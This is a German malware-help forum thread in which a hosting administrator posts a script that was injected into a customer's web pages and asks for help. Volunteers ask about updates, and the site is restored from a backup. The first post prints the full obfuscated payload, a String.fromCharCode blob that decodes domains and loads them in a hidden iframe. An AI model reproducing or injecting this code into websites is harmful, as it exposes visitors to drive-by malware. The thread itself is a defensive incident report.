|
Plagegeister aller Art und deren Bekämpfung: Unbekanntes Script verbreitet sich auf KundenseiteWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
24.07.2012, 09:45 | #1 |
| Unbekanntes Script verbreitet sich auf Kundenseite Hallo, auf unserem Webserver verbreitet sich ein Script auf mehreren Seiten eines Kunden, sodass diese von Firefox, Google und Kaspersky gesperrt wurden. Der Script: Code:
ATTFilter <script>document.write(String.fromCharCode(60,98,111,100,121,62,10,60,47,98,111,100,121,62,10,60,115,99,114,105,112,116,62,10,102,117,110,99,116,105,111,110,32,103,101,116,95,100,111,109,97,105,110,40,41,32,123,10,32,32,32,32,118,97,114,32,97,32,61,32,91,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,51,92,120,99,50,92,120,100,98,92,120,100,98,92,120,99,52,92,120,99,53,92,120,99,52,92,120,99,53,92,120,99,101,92,120,99,53,92,120,100,56,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,99,97,92,120,100,98,92,120,100,102,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,100,102,92,120,99,99,92,120,100,99,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,99,52,92,120,99,56,92,120,100,57,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,44,10,9,34,92,120,99,51,92,120,100,102,92,120,100,102,92,120,100,98,92,120,57,49,92,120,56,52,92,120,56,52,92,120,99,54,92,120,99,50,92,120,99,56,92,120,100,57,92,120,99,52,92,120,100,56,92,120,99,52,92,120,99,100,92,120,100,102,92,120,56,54,92,120,100,57,92,120,99,56,92,120,100,98,92,120,56,53,92,120,99,56,92,120,99,52,92,120,56,53,92,120,100,101,92,120,99,48,92,120,56,52,92,120,99,100,92,120,99,52,92,120,100,57,92,120,100,101,92,120,99,54,92,120,56,52,92,120,57,52,92,120,100,102,92,120,57,54,92,120,57,102,92,120,99,100,92,120,99,100,92,120,57,99,92,120,57,100,92,120,57,56,92,120,99,57,92,120,99,56,92,120,99,97,92,120,99,101,92,120,99,97,92,120,99,97,92,120,57,102,34,10,9,93,59,10,9,118,97,114,32,98,32,61,32,48,120,70,70,70,70,70,70,70,70,59,10,32,32,32,32,118,97,114,32,100,32,61,32,98,59,10,32,32,32,32,118,97,114,32,101,32,61,32,48,120,51,51,51,51,51,51,51,51,59,10,32,32,32,32,118,97,114,32,102,32,61,32,48,120,68,51,52,68,66,51,51,70,59,10,32,32,32,32,118,97,114,32,103,32,61,32,48,120,56,48,48,48,48,48,48,48,59,10,32,32,32,32,118,97,114,32,104,32,61,32,48,120,65,66,59,10,32,32,32,32,118,97,114,32,107,32,61,32,40,100,111,99,117,109,101,110,116,91,39,108,111,99,97,116,105,111,110,39,93,91,39,104,111,115,116,110,97,109,101,39,93,32,124,124,32,39,100,101,102,97,117,108,116,115,104,105,116,39,41,91,39,116,111,76,111,119,101,114,67,97,115,101,39,93,40,41,59,10,32,32,32,32,102,111,114,32,40,118,97,114,32,106,32,61,32,48,59,32,106,32,60,32,107,46,108,101,110,103,116,104,59,32,106,43,43,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,99,32,61,32,107,91,39,99,104,97,114,67,111,100,101,65,116,39,93,40,106,41,59,10,32,32,32,32,32,32,32,32,100,32,94,61,32,99,32,60,60,32,50,52,59,10,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,56,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,105,102,32,40,100,32,38,32,48,120,56,48,48,48,48,48,48,48,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,100,32,61,32,40,100,32,60,60,32,49,41,32,94,32,48,120,69,68,66,56,56,51,50,48,10,32,32,32,32,32,32,32,32,32,32,32,32,125,32,101,108,115,101,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,100,32,60,60,61,32,49,10,32,32,32,32,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,125,10,32,32,32,32,105,102,32,40,100,32,60,32,48,41,32,123,10,32,32,32,32,32,32,32,32,100,32,61,32,100,32,62,62,62,32,48,10,32,32,32,32,125,10,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,120,70,70,70,70,70,70,70,70,44,32,110,117,109,32,61,32,48,59,32,110,117,109,32,60,32,53,59,32,105,32,45,61,32,101,44,32,110,117,109,43,43,41,32,123,10,32,32,32,32,32,32,32,32,105,102,32,40,100,32,62,61,32,40,105,32,45,32,101,41,32,38,38,32,100,32,60,61,32,105,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,108,32,61,32,34,34,59,10,32,32,32,32,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,97,91,110,117,109,93,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,108,32,43,61,32,83,116,114,105,110,103,91,39,102,114,111,109,67,104,97,114,67,111,100,101,39,93,40,97,91,110,117,109,93,91,39,99,104,97,114,67,111,100,101,65,116,39,93,40,105,41,32,94,32,48,120,65,66,41,10,32,32,32,32,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,108,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,125,10,125,10,119,105,110,100,111,119,46,117,114,108,100,97,116,97,32,61,32,103,101,116,95,100,111,109,97,105,110,40,41,59,10,105,102,32,40,116,121,112,101,111,102,32,40,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,41,32,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,10,32,32,32,32,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,32,48,10,125,10,105,102,32,40,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,61,32,48,41,32,123,10,32,32,32,32,32,32,32,32,119,105,110,100,111,119,91,39,105,102,114,97,109,101,100,39,93,32,61,32,49,59,10,32,32,32,32,32,32,32,32,118,97,114,32,97,32,61,32,100,111,99,117,109,101,110,116,91,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,93,40,34,105,102,114,97,109,101,34,41,91,48,93,59,10,32,32,32,32,32,32,32,32,105,102,32,40,116,121,112,101,111,102,32,40,97,41,32,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,98,32,61,32,100,111,99,117,109,101,110,116,91,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,93,40,34,104,101,97,100,34,41,91,48,93,59,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,99,32,61,32,100,111,99,117,109,101,110,116,91,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,93,40,34,100,105,118,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,46,115,116,121,108,101,46,100,105,115,112,108,97,121,32,61,32,39,110,111,110,101,39,59,10,32,32,32,32,32,32,32,32,32,32,32,32,99,46,105,100,32,61,32,39,101,118,105,108,115,104,105,116,39,59,10,32,32,32,32,32,32,32,32,32,32,32,32,98,91,39,97,112,112,101,110,100,67,104,105,108,100,39,93,40,99,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,118,97,114,32,100,32,61,32,100,111,99,117,109,101,110,116,91,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,93,40,34,105,102,114,97,109,101,34,41,59,10,32,32,32,32,32,32,32,32,32,32,32,32,100,46,115,114,99,32,61,32,119,105,110,100,111,119,46,117,114,108,100,97,116,97,59,10,9,9,9,98,91,39,97,112,112,101,110,100,67,104,105,108,100,39,93,40,100,41,10,32,32,32,32,32,32,32,32,125,32,101,108,115,101,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,97,46,115,114,99,32,61,32,119,105,110,100,111,119,46,117,114,108,100,97,116,97,10,9,125,10,32,125,10,60,47,115,99,114,105,112,116,62));</script> Gruß, Sawell. Paar Infos: - Der Script ist in fast allen HTML, PHP und JAVA Dokumenten vorhanden. Bei PHP nur vor dem "</body>"-Tag. - Es Parallel Plesk Panel benutzt Geändert von Sawell (24.07.2012 um 10:01 Uhr) |
24.07.2012, 17:43 | #2 |
/// Malware-holic | Unbekanntes Script verbreitet sich auf Kundenseite hi
__________________ist alles aktuell auf der homepage? verwendete content management systeme etc? verwaltet der kunde die seite oder ausschlißlich ihr?
__________________ |
25.07.2012, 03:03 | #3 |
| Unbekanntes Script verbreitet sich auf Kundenseite Die Inhalte der Dateien wurden am 15.7.2012 geändert, sprich vor 10 Tagen. Seit dem hat Kunde nichts an der Seite gemacht. Außer diesen sind aber auch noch andere betroffen.
__________________Und sie verwenden kein CMS-System. Wir haben natürlich unser Administrator-Kennwort schon geändert und ein Back-Up eingespielt. Die Seiten sind wieder zum 05.7.2012 zurückgesetzt und wieder von Google und co. freigeschaltet worden. Gruß, Sawell |
25.07.2012, 16:24 | #4 |
/// Malware-holic | Unbekanntes Script verbreitet sich auf Kundenseite ok, dann würd ich trotzdem mal gucken, ob serverseitig alles auf dem neuesten stand ist. geben die logs denn was her?
__________________ -Verdächtige mails bitte an uns zur Analyse weiterleiten: markusg.trojaner-board@web.de Weiterleiten Anleitung: http://markusg.trojaner-board.de Mails bitte vorerst nach obiger Anleitung an markusg.trojaner-board@web.de Weiterleiten Wenn Ihr uns unterstützen möchtet |
25.07.2012, 22:03 | #5 |
| Unbekanntes Script verbreitet sich auf Kundenseite Nein, leider nicht. Wir hoffen das es ein Passwort-Diebstahl war, und haben das Passwort geändert und Backup eingespielt. |
25.07.2012, 22:31 | #6 |
/// Malware-holic | Unbekanntes Script verbreitet sich auf Kundenseite und was ist mit den updates
__________________ --> Unbekanntes Script verbreitet sich auf Kundenseite |
27.07.2012, 19:09 | #7 |
| Unbekanntes Script verbreitet sich auf Kundenseite Alles außer PHP ist auf aktuellsten stand. Gruß. |
27.07.2012, 20:09 | #8 |
/// Malware-holic | Unbekanntes Script verbreitet sich auf Kundenseite kann man ja auch mal über ein update nachdenken
__________________ -Verdächtige mails bitte an uns zur Analyse weiterleiten: markusg.trojaner-board@web.de Weiterleiten Anleitung: http://markusg.trojaner-board.de Mails bitte vorerst nach obiger Anleitung an markusg.trojaner-board@web.de Weiterleiten Wenn Ihr uns unterstützen möchtet |
21.08.2012, 12:07 | #9 |
| Unbekanntes Script verbreitet sich auf Kundenseite PHP wird vom E-Mail Server genutzt, und kann somit nicht geupdatet werden. Es scheint, dass das nur ein Diebstahl des Passwortes war. Haben BackUp aufgespielt und Passwort geändert. Ist wieder alles bestens. Danke für die Hilfe. Gruß, Sawell |
Themen zu Unbekanntes Script verbreitet sich auf Kundenseite |
bekannter, code, datei, firefox, gesperrt, google, kaspersky, kunde, mehreren, plesk, script, seite, seiten, unbekannter, verbreitet, webserver |